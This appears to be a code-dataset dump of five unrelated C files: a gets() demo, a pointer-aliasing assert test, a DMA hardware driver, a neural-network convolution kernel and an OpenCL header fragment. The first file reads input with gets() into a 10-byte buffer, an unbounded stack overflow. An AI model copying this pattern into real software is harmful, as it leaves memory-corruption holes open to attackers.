file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/940848.c
|
#include <stdio.h>
int main() {
char string[10];
gets(string);
puts(string);
return 0;
}
|
the_stack_data/103266609.c
|
#include <stdlib.h>
void main () {
int x, y;
int *p, *q, *r;
int *a1, *a2;
p = &x;
q = &y;
q = p;
p = a1 = malloc(sizeof(int)); /* alloc1 */
r = q;
r = a2 = malloc(sizeof(int)); /* alloc2 */
switch(rand()){
case 0: assert(p != a1); // fail
case 1: assert(p != &x); // fail
case 2: assert(q != a1); // fail
case 3: assert(q != &x); // fail
case 4: assert(q != &y); // fail
case 5: assert(r != a1); // fail
case 6: assert(r != a2); // fail
case 7: assert(r != &x); // fail
default: assert(r != &y); // fail
}
}
/*
p -> {alloc1, &x}
q -> {alloc1, &x, &y}
r -> {alloc1, alloc2, &x, &y}
*/
|
the_stack_data/218892802.c
|
/**
* \addtogroup BSP
* \{
* \addtogroup SYSTEM
* \{
* \addtogroup DMA
* \{
*/
/**
****************************************************************************************
*
* @file hw_dma.c
*
* @brief Implementation of the DMA Low Level Driver.
*
* Copyright (c) 2016, Dialog Semiconductor
* All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its contributors
* may be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*
****************************************************************************************
*/
#if dg_configUSE_HW_DMA
#include <hw_gpio.h>
#include <hw_dma.h>
#if (dg_configSYSTEMVIEW)
# include "SEGGER_SYSVIEW_FreeRTOS.h"
#else
# define SEGGER_SYSTEMVIEW_ISR_ENTER()
# define SEGGER_SYSTEMVIEW_ISR_EXIT()
#endif
static struct hw_dma_callback_data
{
hw_dma_transfer_cb callback;
void *user_data;
} dma_callbacks_user_data[8];
#define DMA_CHN_REG(reg, chan) ((volatile uint16 *)(&(reg)) + ((chan) * 8))
/**
* \brief Initialize DMA Channel
*
* \param [in] channel_setup pointer to struct of type DMA_Setup
*
*/
void hw_dma_channel_initialization(DMA_setup *channel_setup)
{
volatile uint16 *dma_x_ctrl_reg;
volatile uint16 *dma_x_a_start_low_reg;
volatile uint16 *dma_x_a_start_high_reg;
volatile uint16 *dma_x_b_start_low_reg;
volatile uint16 *dma_x_b_start_high_reg;
volatile uint16 *dma_x_len_reg;
volatile uint16 *dma_x_int_reg;
uint32 src_address;
uint32 dest_address;
/* Make sure the DMA channel length is not zero */
ASSERT_WARNING(channel_setup->length > 0);
// Look up DMAx_CTRL_REG address
dma_x_ctrl_reg = DMA_CHN_REG(DMA->DMA0_CTRL_REG, channel_setup->channel_number);
// Look up DMAx_A_STARTL_REG address
dma_x_a_start_low_reg = DMA_CHN_REG(DMA->DMA0_A_STARTL_REG, channel_setup->channel_number);
// Look up DMAx_A_STARTH_REG address
dma_x_a_start_high_reg = DMA_CHN_REG(DMA->DMA0_A_STARTH_REG, channel_setup->channel_number);
// Look up DMAx_B_STARTL_REG address
dma_x_b_start_low_reg = DMA_CHN_REG(DMA->DMA0_B_STARTL_REG, channel_setup->channel_number);
// Look up DMAx_B_STARTH_REG address
dma_x_b_start_high_reg = DMA_CHN_REG(DMA->DMA0_B_STARTH_REG, channel_setup->channel_number);
// Look up DMAX_LEN_REG address
dma_x_len_reg = DMA_CHN_REG(DMA->DMA0_LEN_REG, channel_setup->channel_number);
// Look up DMAX_INT
dma_x_int_reg = DMA_CHN_REG(DMA->DMA0_INT_REG, channel_setup->channel_number);
// Make sure DMA channel is disabled first
REG_SET_FIELD(DMA, DMA0_CTRL_REG, DMA_ON, *dma_x_ctrl_reg, HW_DMA_STATE_DISABLED);
// Set DMAx_CTRL_REG width provided settings, but do not start the channel.
// Start the channel with the "dma_channel_enable" function separately.
*dma_x_ctrl_reg =
channel_setup->bus_width |
channel_setup->irq_enable |
channel_setup->dreq_mode |
channel_setup->b_inc |
channel_setup->a_inc |
channel_setup->circular |
channel_setup->dma_prio |
channel_setup->dma_idle |
channel_setup->dma_init;
// Set DMA_REQ_MUX_REG for the requested channel / trigger combination
if (channel_setup->dma_req_mux != HW_DMA_TRIG_NONE)
{
switch (channel_setup->channel_number)
{
case HW_DMA_CHANNEL_0:
case HW_DMA_CHANNEL_1:
GLOBAL_INT_DISABLE();
REG_SETF(DMA, DMA_REQ_MUX_REG, DMA01_SEL, channel_setup->dma_req_mux);
GLOBAL_INT_RESTORE();
break;
case HW_DMA_CHANNEL_2:
case HW_DMA_CHANNEL_3:
GLOBAL_INT_DISABLE();
REG_SETF(DMA, DMA_REQ_MUX_REG, DMA23_SEL, channel_setup->dma_req_mux);
GLOBAL_INT_RESTORE();
break;
case HW_DMA_CHANNEL_4:
case HW_DMA_CHANNEL_5:
GLOBAL_INT_DISABLE();
REG_SETF(DMA, DMA_REQ_MUX_REG, DMA45_SEL, channel_setup->dma_req_mux);
GLOBAL_INT_RESTORE();
break;
case HW_DMA_CHANNEL_6:
case HW_DMA_CHANNEL_7:
GLOBAL_INT_DISABLE();
REG_SETF(DMA, DMA_REQ_MUX_REG, DMA67_SEL, channel_setup->dma_req_mux);
GLOBAL_INT_RESTORE();
break;
default:
break;
}
#if dg_configDMA_DYNAMIC_MUX || (dg_configBLACK_ORCA_IC_REV == BLACK_ORCA_IC_REV_A)
/*
* When different DMA channels are used for same device it is important
* that only one trigger is set for specific device at a time.
* Having same trigger for different channels can cause unpredictable results.
* Following code also should help when SPI1 is assigned to non 0 channel.
*/
GLOBAL_INT_DISABLE();
switch (channel_setup->channel_number)
{
case HW_DMA_CHANNEL_6:
case HW_DMA_CHANNEL_7:
if (REG_GETF(DMA, DMA_REQ_MUX_REG, DMA45_SEL) == channel_setup->dma_req_mux)
{
REG_SETF(DMA, DMA_REQ_MUX_REG, DMA45_SEL, HW_DMA_TRIG_NONE);
}
/* no break */
case HW_DMA_CHANNEL_4:
case HW_DMA_CHANNEL_5:
if (REG_GETF(DMA, DMA_REQ_MUX_REG, DMA23_SEL) == channel_setup->dma_req_mux)
{
REG_SETF(DMA, DMA_REQ_MUX_REG, DMA23_SEL, HW_DMA_TRIG_NONE);
}
/* no break */
case HW_DMA_CHANNEL_2:
case HW_DMA_CHANNEL_3:
if (REG_GETF(DMA, DMA_REQ_MUX_REG, DMA01_SEL) == channel_setup->dma_req_mux)
{
REG_SETF(DMA, DMA_REQ_MUX_REG, DMA01_SEL, HW_DMA_TRIG_NONE);
}
break;
case HW_DMA_CHANNEL_0:
case HW_DMA_CHANNEL_1:
default:
break;
}
GLOBAL_INT_RESTORE();
#endif
}
#if (dg_configBLACK_ORCA_IC_REV == BLACK_ORCA_IC_REV_B)
//Set REQ_SENSE bit of i2c and Uart peripherals TX path
if (((channel_setup->dma_req_mux == HW_DMA_TRIG_UART_RXTX) ||
(channel_setup->dma_req_mux == HW_DMA_TRIG_UART2_RXTX) ||
(channel_setup->dma_req_mux == HW_DMA_TRIG_I2C_RXTX) ||
(channel_setup->dma_req_mux == HW_DMA_TRIG_I2C2_RXTX)) &&
(channel_setup->channel_number & 1)) //odd channels used for TX
{
REG_SET_FIELD(DMA, DMA0_CTRL_REG, REQ_SENSE, *dma_x_ctrl_reg, 1);
}
#endif
src_address = black_orca_phy_addr(channel_setup->src_address);
dest_address = black_orca_phy_addr(channel_setup->dest_address);
// Set source address registers
*dma_x_a_start_low_reg = (src_address & 0xffff);
*dma_x_a_start_high_reg = (src_address >> 16);
// Set destination address registers
*dma_x_b_start_low_reg = (dest_address & 0xffff);
*dma_x_b_start_high_reg = (dest_address >> 16);
// Set IRQ number of transfers
if (channel_setup->irq_nr_of_trans > 0)
{
// If user explicitly set this number use it
*dma_x_int_reg = channel_setup->irq_nr_of_trans - 1;
}
else
{
// If user passed 0, use transfer length to fire interrupt after transfer ends
*dma_x_int_reg = channel_setup->length - 1;
}
// Set the transfer length
*dma_x_len_reg = (channel_setup->length) - 1;
if (channel_setup->irq_enable)
{
dma_callbacks_user_data[channel_setup->channel_number].callback = channel_setup->callback;
}
else
{
dma_callbacks_user_data[channel_setup->channel_number].callback = NULL;
}
dma_callbacks_user_data[channel_setup->channel_number].user_data = channel_setup->user_data;
}
void hw_dma_channel_update_source(HW_DMA_CHANNEL channel, void *addr, uint16_t length,
hw_dma_transfer_cb cb)
{
uint32_t phy_addr = black_orca_phy_addr((uint32_t) addr);
dma_callbacks_user_data[channel].callback = cb;
// Look up DMAx_A_STARTL_REG address
volatile uint16 *dma_x_a_start_low_reg = DMA_CHN_REG(DMA->DMA0_A_STARTL_REG, channel);
// Look up DMAx_A_STARTH_REG address
volatile uint16 *dma_x_a_start_high_reg = DMA_CHN_REG(DMA->DMA0_A_STARTH_REG, channel);
// Look up DMAX_LEN_REG address
volatile uint16 *dma_x_len_reg = DMA_CHN_REG(DMA->DMA0_LEN_REG, channel);
volatile uint16 *dma_x_int_reg = DMA_CHN_REG(DMA->DMA0_INT_REG, channel);
// Set source address registers
*dma_x_a_start_low_reg = (phy_addr & 0xffff);
*dma_x_a_start_high_reg = (phy_addr >> 16);
*dma_x_int_reg = length - 1;
// Set the transfer length
*dma_x_len_reg = length - 1;
}
void hw_dma_channel_update_destination(HW_DMA_CHANNEL channel, void *addr, uint16_t length,
hw_dma_transfer_cb cb)
{
uint32_t phy_addr = black_orca_phy_addr((uint32_t) addr);
dma_callbacks_user_data[channel].callback = cb;
// Look up DMAx_B_STARTL_REG address
volatile uint16 *dma_x_b_start_low_reg = DMA_CHN_REG(DMA->DMA0_B_STARTL_REG, channel);
// Look up DMAx_B_STARTH_REG address
volatile uint16 *dma_x_b_start_high_reg = DMA_CHN_REG(DMA->DMA0_B_STARTH_REG, channel);
// Look up DMAX_LEN_REG address
volatile uint16 *dma_x_len_reg = DMA_CHN_REG(DMA->DMA0_LEN_REG, channel);
volatile uint16 *dma_x_int_reg = DMA_CHN_REG(DMA->DMA0_INT_REG, channel);
// Set destination address registers
*dma_x_b_start_low_reg = (phy_addr & 0xffff);
*dma_x_b_start_high_reg = (phy_addr >> 16);
*dma_x_int_reg = length - 1;
// Set the transfer length
*dma_x_len_reg = length - 1;
}
void hw_dma_channel_update_int_ix(HW_DMA_CHANNEL channel, uint16_t int_ix)
{
volatile uint16 *dma_x_int_reg = DMA_CHN_REG(DMA->DMA0_INT_REG, channel);
*dma_x_int_reg = int_ix;
}
/**
* \brief Enable or disable a DMA channel
*
* \param [in] channel_number DMA channel number to start/stop
* \param [in] dma_on enable/disable DMA channel
*
*/
void hw_dma_channel_enable(HW_DMA_CHANNEL channel_number, HW_DMA_STATE dma_on)
{
volatile uint16 *dma_x_ctrl_reg;
// Look up DMAx_CTRL_REG address
dma_x_ctrl_reg = DMA_CHN_REG(DMA->DMA0_CTRL_REG, channel_number);
if (dma_on == HW_DMA_STATE_ENABLED)
{
uint16_t dma_ctrl = *dma_x_ctrl_reg;
REG_SET_FIELD(DMA, DMA0_CTRL_REG, DMA_ON, dma_ctrl, 1);
if (dma_callbacks_user_data[channel_number].callback)
{
REG_SET_FIELD(DMA, DMA0_CTRL_REG, IRQ_ENABLE, dma_ctrl, 1);
}
// Start the chosen DMA channel
*dma_x_ctrl_reg = dma_ctrl;
NVIC_EnableIRQ(DMA_IRQn);
}
else
{
// Stop the chosen DMA channel
REG_SET_FIELD(DMA, DMA0_CTRL_REG, DMA_ON, *dma_x_ctrl_reg, 0);
REG_SET_FIELD(DMA, DMA0_CTRL_REG, IRQ_ENABLE, *dma_x_ctrl_reg, 0);
}
}
static inline void dma_helper(HW_DMA_CHANNEL channel_number, uint16_t len, bool stop_dma)
{
hw_dma_transfer_cb cb;
NVIC_DisableIRQ(DMA_IRQn);
cb = dma_callbacks_user_data[channel_number].callback;
if (stop_dma)
{
dma_callbacks_user_data[channel_number].callback = NULL;
hw_dma_channel_enable(channel_number, HW_DMA_STATE_DISABLED);
}
if (cb)
{
cb(dma_callbacks_user_data[channel_number].user_data, len);
}
NVIC_EnableIRQ(DMA_IRQn);
}
bool hw_dma_channel_active(void)
{
int dma_on;
dma_on = REG_GETF(DMA, DMA0_CTRL_REG, DMA_ON);
dma_on |= REG_GETF(DMA, DMA1_CTRL_REG, DMA_ON);
dma_on |= REG_GETF(DMA, DMA2_CTRL_REG, DMA_ON);
dma_on |= REG_GETF(DMA, DMA3_CTRL_REG, DMA_ON);
dma_on |= REG_GETF(DMA, DMA4_CTRL_REG, DMA_ON);
dma_on |= REG_GETF(DMA, DMA5_CTRL_REG, DMA_ON);
dma_on |= REG_GETF(DMA, DMA6_CTRL_REG, DMA_ON);
dma_on |= REG_GETF(DMA, DMA7_CTRL_REG, DMA_ON);
return (dma_on == 1);
}
/**
* \brief Capture DMA Interrupt Handler
*
* Calls user interrupt handler
*
*/
void DMA_Handler(void)
{
SEGGER_SYSTEMVIEW_ISR_ENTER();
uint16_t risen;
uint16_t i;
volatile uint16 *dma_x_len_reg;
volatile uint16 *dma_x_int_reg;
volatile uint16 *dma_x_ctrl_reg;
risen = DMA->DMA_INT_STATUS_REG;
for (i = 0; risen != 0 && i < 8; ++i, risen >>= 1)
{
if (risen & 1)
{
bool stop;
/*
* DMAx_INT_REG shows after how many transfers the interrupt
* is generated
*/
dma_x_int_reg = DMA_CHN_REG(DMA->DMA0_INT_REG, i);
/*
* DMAx_LEN_REG shows the length of the DMA transfer
*/
dma_x_len_reg = DMA_CHN_REG(DMA->DMA0_LEN_REG, i);
dma_x_ctrl_reg = DMA_CHN_REG(DMA->DMA0_CTRL_REG, i);
/*
* Stop DMA if:
* - transfer is completed
* - mode is not circular
*/
stop = (*dma_x_int_reg == *dma_x_len_reg)
&& (!REG_GET_FIELD(DMA, DMA0_CTRL_REG, CIRCULAR, *dma_x_ctrl_reg));
DMA->DMA_CLEAR_INT_REG = 1 << i;
dma_helper(i, *dma_x_int_reg + 1, stop);
}
}
SEGGER_SYSTEMVIEW_ISR_EXIT();
}
void hw_dma_channel_stop(HW_DMA_CHANNEL channel_number)
{
// Stopping DMA will clear DMAx_IDX_REG so read it before
volatile uint16 *dma_x_idx_reg = DMA_CHN_REG(DMA->DMA0_IDX_REG, channel_number);
dma_helper(channel_number, *dma_x_idx_reg, true);
}
uint16_t hw_dma_transfered_bytes(HW_DMA_CHANNEL channel_number)
{
volatile uint16 *dma_x_int_reg = dma_x_int_reg = DMA_CHN_REG(DMA->DMA0_IDX_REG, channel_number);
return *dma_x_int_reg;
}
#endif /* dg_configUSE_HW_DMA */
/**
* \}
* \}
* \}
*/
|
the_stack_data/45449144.c
|
#ifndef TH_GENERIC_FILE
#define TH_GENERIC_FILE "generic/TemporalRowConvolution.c"
#else
static inline void THNN_(TemporalRowConvolution_shapeCheck)(
THNNState *state,
THTensor *input,
THTensor *gradOutput,
THTensor *weight,
THTensor *bias,
int kW,
int dW,
int padW) {
THArgCheck(kW > 0, 5,
"kernel size should be greater than zero, but got kW: %d", kW);
THArgCheck(dW > 0, 6,
"stride should be greater than zero, but got dW: %d", dW);
THNN_ARGCHECK(weight->nDimension == 3, 3, weight,
"3D weight tensor expected, but got: %s");
THArgCheck(THTensor_(isContiguous)(weight), 4, "weight must be contiguous");
THArgCheck(!bias || THTensor_(isContiguous)(bias), 5, "bias must be contiguous");
if (bias != NULL) {
THNN_CHECK_DIM_SIZE(bias, 1, 0, weight->size[0]);
}
// we're always looking at (possibly batch) x feats x seq
int ndim = input->nDimension;
int dimF = 0;
int dimS = 1;
if (ndim == 3) {
++dimS;
++dimF;
}
THNN_ARGCHECK(ndim == 2 || ndim == 3, 1, input,
"2D or 3D (batch mode) input tensor expected, but got :%s");
int64_t inputFrameSize = weight->size[0];
int64_t nInputFrame = input->size[dimS];
int64_t nOutputFrame = (nInputFrame + 2 * padW - kW) / dW + 1;
if (nOutputFrame < 1) {
THError("Given input size: (%d x %d). "
"Calculated output size: (%d x %d). Output size is too small",
inputFrameSize, nInputFrame, inputFrameSize, nOutputFrame);
}
THNN_CHECK_DIM_SIZE(input, ndim, dimF, inputFrameSize);
if (gradOutput != NULL) {
THNN_CHECK_DIM_SIZE(gradOutput, ndim, dimF, inputFrameSize);
THNN_CHECK_DIM_SIZE(gradOutput, ndim, dimS, nOutputFrame);
}
}
static void THNN_(unfolded_acc_row)(
THTensor *finput,
THTensor *input,
int kW,
int dW,
int padW,
int64_t inputFrameSize,
int64_t nInputFrame,
int64_t nOutputFrame) {
size_t c;
real *input_data = THTensor_(data)(input);
real *finput_data = THTensor_(data)(finput);
// #pragma omp parallel for private(c)
for (c = 0; c < inputFrameSize; c++) {
size_t kw, x;
size_t ix = 0;
for (kw = 0; kw < kW; kw++) {
real *src = finput_data
+ c * (kW * nOutputFrame)
+ kw * (nOutputFrame);
real *dst = input_data + c * (nInputFrame);
ix = (size_t)(kw);
if (dW == 1) {
real *dst_slice = dst + (size_t)(ix);
THVector_(cadd)(dst_slice, dst_slice, src, 1, nOutputFrame);
} else {
for (x = 0; x < nOutputFrame; x++) {
real *dst_slice = dst + (size_t)(ix + x * dW);
THVector_(cadd)(dst_slice, dst_slice,
src + (size_t)(x), 1, 1);
}
}
}
}
}
static void THNN_(unfolded_copy_row)(
THTensor *finput,
THTensor *input,
int kW,
int dW,
int padW,
int64_t inputFrameSize,
int64_t nInputFrame,
int64_t nOutputFrame) {
int64_t k;
real *input_data = THTensor_(data)(input);
real *finput_data = THTensor_(data)(finput);
// #pragma omp parallel for private(k)
for (k = 0; k < inputFrameSize * kW; k++) {
size_t c = k / kW;
size_t rest = k % kW;
size_t kw = rest % kW;
size_t x;
size_t ix;
real *dst = finput_data + c * (kW * nOutputFrame) + kw * (nOutputFrame);
real *src = input_data + c * (nInputFrame);
ix = (size_t)(kw);
if (dW == 1) {
memcpy(dst, src+(size_t)(ix), sizeof(real) * (nOutputFrame));
} else {
for (x = 0; x < nOutputFrame; x++) {
memcpy(dst + (size_t)(x), src + (size_t)(ix + x * dW),
sizeof(real) * 1);
}
}
}
}
static void THNN_(TemporalRowConvolution_updateOutput_frame)(
THTensor *input,
THTensor *output,
THTensor *weight,
THTensor *bias,
THTensor *finput,
int kW,
int dW,
int padW,
int64_t inputFrameSize,
int64_t nInputFrame,
int64_t nOutputFrame) {
int64_t i;
THTensor *output3d = THTensor_(newWithStorage3d)(
output->storage, output->storageOffset,
inputFrameSize, -1,
1, -1,
nOutputFrame, -1);
THNN_(unfolded_copy_row)(finput, input, kW, dW, padW,
inputFrameSize, nInputFrame, nOutputFrame);
THTensor_(zero)(output);
if (bias != NULL) {
for (i = 0; i < inputFrameSize; i++)
THVector_(fill)
(output->storage->data + output->storageOffset
+ output->stride[0] * i,
THTensor_(get1d)(bias, i), nOutputFrame);
}
THTensor_(baddbmm)(output3d, 1, output3d, 1, weight, finput);
THTensor_(free)(output3d);
}
void THNN_(TemporalRowConvolution_updateOutput)(
THNNState *state,
THTensor *input,
THTensor *output,
THTensor *weight,
THTensor *bias,
THTensor *finput,
THTensor *fgradInput, // unused here but needed for Cuda
int kW,
int dW,
int padW,
bool featFirst) {
int ndim = input->nDimension;
THTensor *tinput;
if (!featFirst) {
tinput = THTensor_(newTranspose)(input, ndim - 1, ndim - 2);
input = THTensor_(newContiguous)(tinput);
} else {
input = THTensor_(newContiguous)(input);
}
THNN_(TemporalRowConvolution_shapeCheck)(
state, input, NULL, weight, bias, kW, dW, padW);
int64_t inputFrameSize = weight->size[0];
int64_t nInputFrame = input->size[ndim - 1];
int64_t nOutputFrame = (nInputFrame + 2 * padW - kW) / dW + 1;
if (ndim == 2) { /* non-batch mode */
THTensor_(resize3d)(finput, inputFrameSize, kW, nOutputFrame);
THTensor_(resize2d)(output, inputFrameSize, nOutputFrame);
THTensor_(zero)(finput);
THTensor_(zero)(output);
THNN_(TemporalRowConvolution_updateOutput_frame)
(input, output, weight, bias, finput,
kW, dW, padW,
inputFrameSize, nInputFrame, nOutputFrame);
} else {
int64_t T = input->size[0];
int64_t t;
THTensor_(resize4d)(finput, T, inputFrameSize, kW, nOutputFrame);
THTensor_(resize3d)(output, T, inputFrameSize, nOutputFrame);
THTensor_(zero)(finput);
THTensor_(zero)(output);
#pragma omp parallel for private(t)
for (t = 0; t < T; t++) {
THTensor *input_t = THTensor_(newSelect)(input, 0, t);
THTensor *output_t = THTensor_(newSelect)(output, 0, t);
THTensor *finput_t = THTensor_(newSelect)(finput, 0, t);
THNN_(TemporalRowConvolution_updateOutput_frame)
(input_t, output_t, weight, bias, finput_t,
kW, dW, padW, inputFrameSize, nInputFrame, nOutputFrame);
THTensor_(free)(input_t);
THTensor_(free)(output_t);
THTensor_(free)(finput_t);
}
}
if (!featFirst) { // NOTE: output will NOT be contiguous in this case
THTensor_(transpose)(output, output, ndim - 1, ndim - 2);
THTensor_(free)(tinput);
}
THTensor_(free)(input);
}
static void THNN_(TemporalRowConvolution_updateGradInput_frame)(
THTensor *gradInput,
THTensor *gradOutput,
THTensor *weight,
THTensor *fgradInput,
int kW,
int dW,
int padW,
int64_t inputFrameSize,
int64_t nInputFrame,
int64_t nOutputFrame) {
THTensor *gradOutput3d = THTensor_(newWithStorage3d)(
gradOutput->storage, gradOutput->storageOffset,
inputFrameSize, -1,
1, -1,
nOutputFrame, -1);
// weight: inputFrameSize x kW x 1
// gradOutput3d: inputFrameSize x 1 x nOutputFrame
THTensor_(baddbmm)(fgradInput, 0, fgradInput, 1, weight, gradOutput3d);
// fgradInput: inputFrameSize x kW x nOutputFrame
THTensor_(free)(gradOutput3d);
THTensor_(zero)(gradInput);
THNN_(unfolded_acc_row)(fgradInput, gradInput,
kW, dW, padW,
inputFrameSize, nInputFrame, nOutputFrame);
}
void THNN_(TemporalRowConvolution_updateGradInput)(
THNNState *state,
THTensor *input,
THTensor *gradOutput,
THTensor *gradInput,
THTensor *weight,
THTensor *finput,
THTensor *fgradInput,
int kW,
int dW,
int padW,
bool featFirst) {
int ndim = input->nDimension;
THTensor *tinput, *tgradOutput;
if (!featFirst) {
tinput = THTensor_(newTranspose)(input, ndim - 1, ndim - 2);
tgradOutput = THTensor_(newTranspose)(gradOutput, ndim - 1, ndim - 2);
input = THTensor_(newContiguous)(tinput);
gradOutput = THTensor_(newContiguous)(tgradOutput);
} else {
input = THTensor_(newContiguous)(input);
gradOutput = THTensor_(newContiguous)(gradOutput);
}
THNN_(TemporalRowConvolution_shapeCheck)(state, input, gradOutput, weight,
NULL, kW, dW, padW);
int64_t inputFrameSize = weight->size[0];
int64_t nInputFrame = input->size[ndim - 1];
int64_t nOutputFrame = (nInputFrame + 2 * padW - kW) / dW + 1;
THTensor_(resizeAs)(fgradInput, finput);
THTensor_(resizeAs)(gradInput, input);
THTensor_(zero)(fgradInput);
THTensor_(zero)(gradInput);
THTensor *tweight = THTensor_(new)();
THTensor_(transpose)(tweight, weight, 1, 2);
if (ndim == 2) {
THNN_(TemporalRowConvolution_updateGradInput_frame)
(gradInput, gradOutput, tweight, fgradInput,
kW, dW, padW,
inputFrameSize, nInputFrame, nOutputFrame);
} else {
int64_t T = input->size[0];
int64_t t;
#pragma omp parallel for private(t)
for (t = 0; t < T; t++) {
THTensor *gradInput_t = THTensor_(newSelect)(gradInput, 0, t);
THTensor *gradOutput_t = THTensor_(newSelect)(gradOutput, 0, t);
THTensor *fgradInput_t = THTensor_(newSelect)(fgradInput, 0, t);
THNN_(TemporalRowConvolution_updateGradInput_frame)
(gradInput_t, gradOutput_t, tweight, fgradInput_t,
kW, dW, padW,
inputFrameSize, nInputFrame, nOutputFrame);
THTensor_(free)(gradInput_t);
THTensor_(free)(gradOutput_t);
THTensor_(free)(fgradInput_t);
}
}
THTensor_(free)(tweight);
if (!featFirst) { // NOTE: gradInput will NOT be contiguous in this case
THTensor_(free)(tinput);
THTensor_(free)(tgradOutput);
THTensor_(transpose)(gradInput, gradInput, ndim - 1, ndim - 2);
}
THTensor_(free)(input);
THTensor_(free)(gradOutput);
}
static void THNN_(TemporalRowConvolution_accGradParameters_frame)(
THTensor *gradOutput, THTensor *gradWeight, THTensor *gradBias,
THTensor *finput, real scale) {
int64_t i;
THTensor *gradOutput3d = THTensor_(newWithStorage3d)(
gradOutput->storage, gradOutput->storageOffset,
gradOutput->size[0], -1,
1, -1,
gradOutput->size[1], -1);
THTensor *tfinput = THTensor_(new)();
THTensor_(transpose)(tfinput, finput, 1, 2);
// gradOutput3d: inputFrameSize x 1 x nOutputFrame
// finput: inputFrameSize x nOutputFrame x kW
THTensor_(baddbmm)(gradWeight, 1, gradWeight, scale, gradOutput3d, tfinput);
// gradWeight: inputFrameSize x 1 x kW
THTensor_(free)(tfinput);
if (gradBias != NULL) {
for (i = 0; i < gradBias->size[0]; i++) {
int64_t k;
real sum = 0;
real *data = gradOutput3d->storage->data
+ gradOutput3d->storageOffset
+ i * gradOutput3d->stride[0];
for (k = 0; k < gradOutput3d->size[2]; k++) {
sum += data[k];
}
(gradBias->storage->data + gradBias->storageOffset)[i]
+= scale * sum;
}
}
THTensor_(free)(gradOutput3d);
}
void THNN_(TemporalRowConvolution_accGradParameters)(
THNNState *state,
THTensor *input,
THTensor *gradOutput,
THTensor *gradWeight,
THTensor *gradBias,
THTensor *finput,
THTensor *fgradInput,
int kW,
int dW,
int padW,
bool featFirst,
accreal scale_) {
real scale = TH_CONVERT_ACCREAL_TO_REAL(scale_);
int ndim = input->nDimension;
THTensor *tinput, *tgradOutput;
if (!featFirst) {
tinput = THTensor_(newTranspose)(input, ndim - 1, ndim - 2);
tgradOutput = THTensor_(newTranspose)(gradOutput, ndim - 1, ndim - 2);
input = THTensor_(newContiguous)(tinput);
gradOutput = THTensor_(newContiguous)(tgradOutput);
} else {
input = THTensor_(newContiguous)(input);
gradOutput = THTensor_(newContiguous)(gradOutput);
}
THNN_(TemporalRowConvolution_shapeCheck)
(state, input, gradOutput, gradWeight, gradBias, kW, dW, padW);
int64_t inputFrameSize = gradWeight->size[0];
int64_t nInputFrame = input->size[ndim - 1];
int64_t nOutputFrame = (nInputFrame + 2 * padW - kW) / dW + 1;
if (ndim == 2) {
THNN_(TemporalRowConvolution_accGradParameters_frame)(
gradOutput, gradWeight, gradBias, finput, scale);
} else {
int64_t T = input->size[0];
int64_t t;
for (t = 0; t < T; t++) {
THTensor *gradOutput_t = THTensor_(newSelect)(gradOutput, 0, t);
THTensor *finput_t = THTensor_(newSelect)(finput, 0, t);
THNN_(TemporalRowConvolution_accGradParameters_frame)(
gradOutput_t, gradWeight, gradBias, finput_t, scale);
THTensor_(free)(gradOutput_t);
THTensor_(free)(finput_t);
}
}
if (!featFirst) {
THTensor_(free)(tinput);
THTensor_(free)(tgradOutput);
}
THTensor_(free)(input);
THTensor_(free)(gradOutput);
}
#endif
|
the_stack_data/1203355.c
|
/**
Copyright (c) 2012-2015, Brice Videau <[email protected]>
Copyright (c) 2012-2015, Vincent Danjean <[email protected]>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Do not edit this file. It is automatically generated.
*/
#include <stdlib.h>
#include <stdio.h>
#pragma GCC diagnostic push
# pragma GCC diagnostic ignored "-Wcpp"
# define CL_USE_DEPRECATED_OPENCL_1_0_APIS
# define CL_USE_DEPRECATED_OPENCL_1_1_APIS
# define CL_USE_DEPRECATED_OPENCL_1_2_APIS
# include <CL/opencl.h>
